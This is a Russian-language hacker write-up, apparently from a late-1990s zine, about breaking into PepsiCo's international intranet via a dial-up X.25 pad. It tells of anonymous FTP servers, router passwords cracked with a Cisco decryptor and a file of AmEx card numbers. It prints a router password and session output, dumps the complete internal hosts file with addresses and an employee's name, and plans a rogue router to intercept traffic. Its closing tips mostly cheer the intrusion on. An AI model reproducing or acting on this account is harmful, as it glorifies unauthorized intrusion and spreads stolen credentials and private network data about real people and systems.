" The WorldOne project is managed out of the Telecommunications Department of Pepsi-Cola Company International. PCCI is centrally managing the project for all of PepsiCo's International Divisions. WorldOne works with telecommunications providers around the world to provide PepsiCo with the best services. WorldOne can supply data and voice solutions for both in-country and country-to-country. WorldOne has chosen Concert Communications, the joint venture between MCI Communications and BT Communications (British Telecom), as our primary global network provider."

Вот и всплыла СИТА из гонконговского подразделения

Далее был найдет забавный ftp сервер ftp.somers.intl.pepsi.com. Под anonymous там была доступна все аудитная информация о доходах и технологических секретах Pepsi :), например, как из @#$%XX сделать напиток и чипсы Lays. Там мы и обнаружили конфиги роутеров, пароли в которых успешно были раскриптованы с помощью cisco.c Так, по непонятным причинам там лежал файл с номерами, удивительно похожими на AMEX ... но это уже другая история....

Пользуясь интеллектуальным cgi-searchem на

http://www.emea.intl.pepsi.com/Somers/Search.htm

удалось найти еще несколько ftp, с полным доступом к чужим дискам. Настало время роутеров, в первую очередь посетили hong-kong

User Access Verification

Password: gustav

hkonr1#show x25 ? map Show x25 map table pad X25 pad connection status remote-red X25 REMOTE-RED table route Show x25 routing table vc Show x25 virtual circuit parameters and statistics

hkonr1#show x25 route

Number X.121 CUD Forward To 1 2852376 translation, 148 uses

hkonr1#show hosts Default domain is intl.pepsi.com Domain list: INTL.PEPSI.COM, SOMERS.INTL.PEPSI.COM Name/address lookup uses domain service Name servers are 165.198.151.29, 165.198.151.28

Теперь, обладая паролями к роутерам, мы могли перенастроить весь роуминг, вполне можно было внедрить ложный роутер \ dns server для перехвата всех пакетов, проходящий через intranet.



К сожалению, на тот момент я не знал про возможность подключать расшаренные диски win95/NT по Netbiosу через tcp/ip. Тогда мы поживились бы еще большим ..

В заключение мы выяснили, что сеть отделяет от интернета продвинутый firewall по адресу 157.146.100.6, однако пару дней с наших аккаунтов был неограниченный доступ в интернет.

Изучая роутер, я вспомнил, что видел подобную вещь на московском диалапе, который нашел сканированием 095-258-хххх атс

2587465 по этому телефону располагался незапароленный роутер той же самой Pepsi !

moscr1>termianl Translating "termianl"...domain server (165.198.151.29) (165.198.151.28) % Unknown command or computer name, or unable to find computer address

moscr1>ppp

По непонятным причинам ( но кажется я начал понимать :) этот телефон прикрыли.

Ниже прилагается файл hosts со всеми dnsами хостов в PepsiCola Intranet

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

#[cek01] HOSTS, September 8, 1995 9:51:39, Edit by Chris Kalish # Pepsi-Cola International Global /etc/hosts file. # # The Master Copy of this file is currently in \\CKalish\c$\etc\hosts. # When making changes to the HOSTS file, ALWAYS edit it in this # location. To propogate the file, use the command file: # \\CKalish\C$\NewHost.CMD. # # This file is the master hosts file that gets replicated onto the # primary PCI WINS server (165.198.151.10). #

127.0.0.1 localhost

#PCNA 157.146.85.109 SomL01 #PCNA Notes Server 157.146.99.2 Mainframe

157.146.100.4 Pepsi.com 157.146.100.5 PCNA 157.146.100.5 PCNA 157.146.100.6 Internet #DNS

157.146.104.24 DevUX2 157.146.104.27 HRUx2

#PCNA - Remedy #Cathy Urbano Request 157.146.160.12 PmnTUx2 #Remedy

#PCNA - Remedy System 157.146.161.92 ArSux1 #Remedy System

#Oslo 165.197.1.10 Oslo 165.197.1.10 PCIOsloNT01 #DOM:OSLO

165.197.1.11 OsloNT02 #Oslo

#Bussum 165.197.2.10 BussNTP01 #NT Bussum

#DEC 165.197.4.194 PenM01

#Warsaw 165.197.6.1 WarsR1 #Router Warsaw, Poland 165.197.6.70 pciwar06 #Novell Gateway Warsaw, Poland 165.197.6.71 pciwar05 #SCO UNIX server Warsaw, Poland 165.197.6.72 pciwar04 #Novell office server Warsaw, Poland 165.197.6.73 pciwar03 #Novell A/R server Warsaw, Poland 165.197.6.74 pciwar02 #DOMAIN: WARSAWNT 165.197.6.75 pciwar01 #Novell Database server Warsaw, Poland



#Poland 165.197.7.1 pnier1 #Router Pniewy, Poland 165.197.7.8 pcipni03 # Novell Gateway Pniewy, Poland 165.197.7.9 pcipni01 #Novell Pniewy, Poland 165.197.7.10 pcipni02 #DOMAIN:PNIEWNT

#Milan 165.197.10.140 MilaNTP1 #Milan SQL Server

#Athens 165.197.14.10 PCIAth01 #Athens SQL Server 165.197.14.10 PCIAth03 #Athens SQL Server

#Istanbul 165.197.18.1 Istanbul #Istanbul (NAME) 165.197.18.10 IstaNTP1 #Istanbul (NAME)

#Dubai 165.197.20.2 PciDxbMakt01 165.197.20.160 DubaNTT1

#Jeddah 165.197.24.130 PCIJed01 #DOMAIN:JEDDAHNT

#Cairo 165.197.28.2 PciCair002

#Budapest 165.197.30.9 BudaNTP1 #DOMAIN:BUDAPROD 165.197.30.10 PCI-Bud4 165.197.30.202 Budapest

#Frankfurt 165.197.35.10 NeuiNTP1

#Paris 165.197.40.10 PariNTP1

#Madrid 165.197.47.10 MadrNTP1

#Boca Raton 165.197.51.10 PCILAD #Boca Raton

#Rio 165.197.89.10 PCIRio2

#Beunos Aires, Argentina 165.197.90.14 PCIArg4 #Beunos Aires

#Mexico City 165.197.91.11 PCIMex3 #Mexico City 165.197.91.12 PCIMex1 #Mexico City

#Caracas 165.197.92.10 PCIVen01 #Caracas

#Cidra 165.197.92.138 CidrNTP2

#Colonia 165.197.93.11 ColoNTP0

#Lahore 165.197.116.11 PCILhe001

#Singapore 165.197.121.10 PFISin01

#Valhalla 165.197.151.10 BQIS01 #DOM:ValhallaNT 165.197.151.250 ValUXTst #Valhalla SCO Unix Test Server

#Valhalla 165.197.152.5 Val400 #Valhalla AS400

#Somers Lab 165.197.160.10 SomeNTW1 #Temporary HTTP server 165.197.160.10 WWW.Somers #Temporary HTTP server 165.197.160.10 FTP.Somers #Temporary HTTP server 165.197.160.10 News.Somers #Temporary HTTP server 165.197.160.70 SomeNTML1 #DOM:MLLAB

#Dublin, Ireland 165.197.254.21 DublR1 #Router Dublin, Ireland

#Bussum 165.197.254.67 BussR1 #Router Bussum

#Richmond 165.198.1.7 PFIEurNT01 165.198.1.8 RichTestNT #DOM:Rich Test Domain 165.198.1.9 NTSql01 #DOM:EIS 165.198.1.9 Richmond01 #DOM:EIS 165.198.1.12 RichNTP3 165.198.1.60 PCIEurope #DOM:RICHMONDNT 165.198.1.60 Richmond

#Cork, Ireland 165.198.4.10 PCICork03 #Cork, Ireland 165.198.4.20 Cork400 #Cork, Ireland

#Richmond 165.198.5.10 RichNTT1



#New Malden 165.198.11.4 PCIAfr02 #DOM:NEWMALDENNT 165.198.11.10 NewMNTP1 #DOM:NEWMALDENNT 165.198.11.10 News.NewMalden

#Prague 165.198.18.6 PCIPrag2

#Vienna 165.198.21.11 Vienna 165.198.21.12 EmeaUXP1 #SCO Machine 165.198.21.16 VienNTT1 #DOM:VIENTEST 165.198.21.17 VienNTP1 #DOM:VIENPROD 165.198.21.100 EmeaNTP1 #DOM:EMEAMAIL

#LAD STC 165.198.51.24 LADSNTP1 165.198.51.25 stc-server

#Brenden's Ring 165.198.64.10 AmerNTP1 #DOM:AMERMAIL 165.198.64.21 AmerNTX1 #DOM:AMERMAIL 165.198.64.22 AmerNTX2 #DOM:AMERMAIL

#NOLA 165.198.64.46 PCINolaNT #NOLA

#Singapore 165.198.101.1 SingR1 #Router 165.198.101.2 AsiaNTD2 #NT 165.198.101.3 AsiaNTP2 #NT 165.198.101.5 AsiaNTD1 #NT 165.198.101.6 SingR2 #Router 165.198.101.8 HPSing 165.198.101.9 PCISinPepsi #HP UX 165.198.101.10 AsiaNTP1 #NT #165.198.101.12 PCISin18 #SCO Unix 165.198.101.13 PCISin13 #SCO Unix 165.198.101.16 PCISin16 #NT 165.198.101.17 AsiaUXR1 165.198.101.19 PCISin19 #SCO Unix 165.198.101.20 AsiaNTS1 165.198.101.18 SCOSing 165.198.101.19 PCISin19 165.198.101.64 PCISin02 #DOM:SIN04 165.198.101.65 PCISin03 #OS/2 165.198.101. 67 PCIFin04 singapore 165.198.101.67 PCISin04 #DOM:SIN04 165.198.101.68 PCISin05 #NT 165.198.101.70 PCISin07 #NT

#Asia Development Centre 165.198.101.9 AsiaUXD3 165.198.102.10 AsiaNTD4 165.198.102.11 AsiaUXD1 165.198.102.12 AsiaUXD2 165.198.102.20 AsiaNTD3 #165.198.103.10 AsiaUXT1

#Hong Kong 165.198.106.7 HongNTP1 #DOM:HONGPROD 165.198.106.20 HongUXP1 #DOM:HONGPROD

#Japan 165.198.111.10 TokyNTE1 #DOM:PCJ 165.198.111.11 TokyNTJ1 #DOM:PCJ 165.198.111.12 TokyNTE2 #DOM:PCJ 165.198.111.13 SCOPcj #Tokyo SCO Unix 165.198.111.15 PcjPLM #Tokyo SCO Unix 165.198.111.17 NPCSd17 #Tokyo SCO Unix

#New Delhi 165.198.121.10 NDelNTS1

#Manilla 165.198.126.10 PCIMnl02

#Somers Backbone 165.198.151.1 1914BB 165.198.151.1 7gateway 165.198.151.10 NTRas #DOM:WINDOWSNT #WINS Resolved: 165.198.151.21 SomeNTX1 #DOM:SOMEMAIL #WINS Resolved: 165.198.151.22 SomeNTX2 #DOM:SOMEMAIL #WINS Resolved: 165.198.151.23 SomeNTX3 #DOM:SOMEMAIL #WINS Resolved: 165.198.151.24 SomeNTX4 #DOM:SOMEMAIL 165.198.151.26 SomeNTGW1 #DOM:SOMETCOM 165.198.151.27 SomeNTGW2 #DOM:SOMETCOM 165.198.151.28 SomeNTC1 #DOM:SOMETCOM 165.198.151.29 SomeNTC2 #DOM:SOMETCOM 165.198.151.31 SomeNTU1 #DOM:SOMEMAST 165.198.151.32 SomeNTU2 #DOM:SOMEMAST 154.198.151.49 SomeNTP2 #DOM:SOMESMS 154.198.151.59 SomeNWBR1 165.198.151.193 Valhalla



#Somers 165.198.152.1 19146A

#Somers Hotline 165.198.153.1 19146B 165.198.153.6 NTAS_Test 165.198.153.20 SomeNTD5 #DOM:SOMEDEV

#Somers Developers 165.198.154.1 19146BD1 165.198.154.1 DEVGateway 165.198.154.19 SomeNWQ1 #WINS Resolved: 165.198.154.23 PCILunch02 #DOM:NTTEST

#Somers Development Backbone 165.198.155.1 19146BD2 165.198.155.1 PRDgateway 165.198.155.9 SomeNWT1 165.198.155.21 SomeNTD1 #DOM:SOMEDEV 165.198.155.22 SomeNTP1 #DOM:SOMEPRD 165.198.155.23 SomeNTD2 #DOM:SOMEDEV 165.198.155.24 SomeNTT1 #DOM:SOMETST 165.198.155.26 SomeNTT2 #DOM:SOMETST 165.198.155.27 SomeNTR1 #DOM:SOMEPRD 165.198.155.28 SomeNTS1 #DOM:SOMESYS 165.198.155.29 SomeNTD4 #DOM:SOMEDEV 165.198.155.30 SomeNTT3 #DOM:SOMETST 165.198.155.31 SomeNTS5 #DOM:SOMESYS 165.198.155.32 SomeUXM2 #Unix Maintenance Box 165.198.155.33 SomeNTQ1 #DOM:SOMEQA #WINS Resolved: 165.198.155.50 CKalish #DOM:NTTEST #WINS Resolved: 165.198.155.51 PCILunch01 #DOM:NTTEST #WINS Resolved: 165.198.155.51 PCILunch95 #DOM:NTTEST 165.198.155.89 SomeUXD1 165.198.155.89 "SomeUXD1.pfbi.com" 165.198.155.90 Backup_NWS 165.198.155.91 NPTestLab #Printer for SCO 165.198.155.92 NPTestLab1 #Parallel Port #1 165.198.155.93 NPTestLab2 #Parallel Port #2 165.198.155.94 NPTestLab3 #Serial Port

#Functional Leader Area 165.198.156.20 "Progress_7_Printer"

#Somers Novell Rings 165.198.156.1 19147A 165.198.157.1 19147B 165.198.158.1 19147C 165.198.159.1 19147D 165.198.160.1 19147E 165.198.161.1 19147F 165.198.165.1 13

#Systems Lab 165.198.160.20 SomeNTB1 #DOM:SOMEBKP 165.198.160.21 SomeUXD2 165.198.160.22 SomeUXS2 165.198.160.23 SomeUXM1 165.198.160.24 SomeUXT1 165.198.160.25 SomeUXT2 165.198.160.26 SomeUXS1 165.197.160.70 SomeNTML1 #DOM:MLLAB 165.198.160.200 SomeNTD3 #DOM:SOMEDEV 165.198.160.253 SomeUXR1 #DOM:SOMEPRD

#Wilson's Lab 165.198.163.20 SomeNTR2 #DOM:SOMEPRD 165.198.163.21 MailNTX1 #DOM:MAILTEST

#Mike's Lab 165.198.166.2 SomeMS1 #ATM Media Switch (Server room) 165.198.166.3 SomeMS2 #ATM Media Switch (6B) 165.198.166.8 SomeMGS # ATM to ISDN gateway 165.198.166.9 SomeMSS #ATM Media Storage Server 165.198.166.10 Pepsi_Online



#KFC Woking 168.242.142.165 KFC_001 #LNeus Request 10/2/96

#PFI Mexico 190.90.56.120 UXMal #LNeus Request 10/2/96

#PFA Brazil 192.1.100.8 IPS_Server #LNeus Request 10/2/96

#PRI Mexico 194.1.1.9 IPS-Mexico #LNeus Request 10/2/96

#Purchase 198.180.222.14 PurProd

198.231.25.84 HRUx1

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Более другой взгляд на эту сеть by Mix

( ну он немного путает :)

Дело было так ... Жил-был Лирик, и со скуки возьми он и дай мне один пад в сите, и при этом сказал он : -На ! дарю, тока все равно там ты только к локальной сетке приконектишся, да и то хрен знает, что это за сетка, я пробовал и ничего не вышло - там firewall, сказал Лирик :) Ну я со скуки взял и приконектился...

По привычке моя ICQ, как только почувствовав, что пошли пакеты по TCP-IP, возьми и давай со своим серваком конектиться . Не успел я и глазом моргнуть, как ICQ сконектилась :-( ) . "Не понял" - воскрикнул я :) Но загрузив netscape navigator 3.0 gold и написав : www.cnn.com^M я окончательно и безповоротно убедился - я в инете .

Хмм - странно ?! Лирик стареет :) или они открыли гейт после того, как он этот пад пробовал ? Нет - неможет быть, подумал я, скорее всего второе . Ну ладно, не будем об этом. Ну давай я значит этот аккоунт юзать :) а тут и Лирик подвалил в ICQ contact list, и мне мессагу сразу "Ты гад, ты, что мне не сказал, что тот пад работает !!! :( " Ну я давай ему обяснять, что я сам тока тока понял это :)

Ну вроде, как мне показалось, он меня понял. Ну значит Лирик время даром не теряя, стал сканить тамашние IP на домайновые имена . И через 5 минут мы были на сервере (---). Попутешествовав там еще немного мы поняли, что имеем доступ в сеть GlobalOne. Как потом выеснялось - эта сеть принадлежит компании PEPSI. Доступа на сервера этой сетки из инета конечно небыло . Мы сразу поняли, что эти сервера не для всех (я имею ввиду только для сотрудников компании). Нам с легкостью удалось пробраться на имеющиеся у сети серверы FTP.


Мы были поражены когда увидели, что как Anonymous можно войти почти на любой их FTP. Я был просто счастлив, когда увидел что для anonymous там полный доступ. Я имею ввиду что можно и записывать и стирать и т.д. Теперь наши последние сомнения пропали - Мы забрались туда, гда нас не ждали. Поняв это, Лирик подключил свою голову на все 100% и тут началось ! Первое, что он нашел, был файл hosts - файл в котором все IP адреса их роутеров ! потом - так невзначай он наткнулся на 100 килобайтный файл с данными кредитных карточек American Express :-( )!

Я думаю, что это какая-то точка компании Pepsi записала все дневные Transactions в этот файл и закинула на ftp. потом оказалось, что там небыло exp.dates но сам факт - оставался фактом ! Конечно - это было бы очень просто :) Я нашел рекламный видеоклип, который мне понравился, кстати ! это был только проект компании, получается, что я увидел его первым :) После этого мы нашли файл, где лежат зашифрованные пароли их роутеров. пароли было легко узнать имея под рукой расшифровщик паролей для cisco :) . И вот он ! этот переломный момент ! я на головном xxx.xxx.1.1 роутере сети globalone ! wow ! круто !!! вот это хак подумали мы ! У нас появился план, нужно дать роутеру наш IP в сети и он будет роитить их народ не на secute server а к нам в руки :). Наступило темное время суток... На следующий день, хорошенько выспавшись я набрал ситу, ввел номер пада и с ужасом обнаружил, что нашу лазейку прикрыли :-( ) ! неееет воскрикнул я ! не может быть . но как я не пробовал - пад был закрыт.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Заключение.

Возможно у вас появится законный вопрос - Какого хрена рассказывать про Пепси, когда все уже прикрыли ?

На этом примере ( я надеюсь ) мы сумели показать, что

1) даже intranetы интересны для исследования

2) сканить сети на предмет адресов стОит

3) правильная защита локальной сети состоит не только в том, чтобы купить супер-навороченный firewall комплекс, но и предпринять меры ограничения доступа в самом сети.

3а) каждому представителю локального подразделения надо выделять аккаунт на центральном ftp сервере ( на ftp.somers.intl.pepsi.com вся информация закачивалась под anonymous и размещалась в /incoming/russia, /incoming/hong)

4) все можно вполне удобно изучать из windowz 95 :)

5) полезно посмотреть, как устроен роуминг в больших intranet ( если повезет, в следующий раз будет обзор по Microsoft Intranet :), на Пепси он устроен вот так

6) админы ленивы и дают себя ломать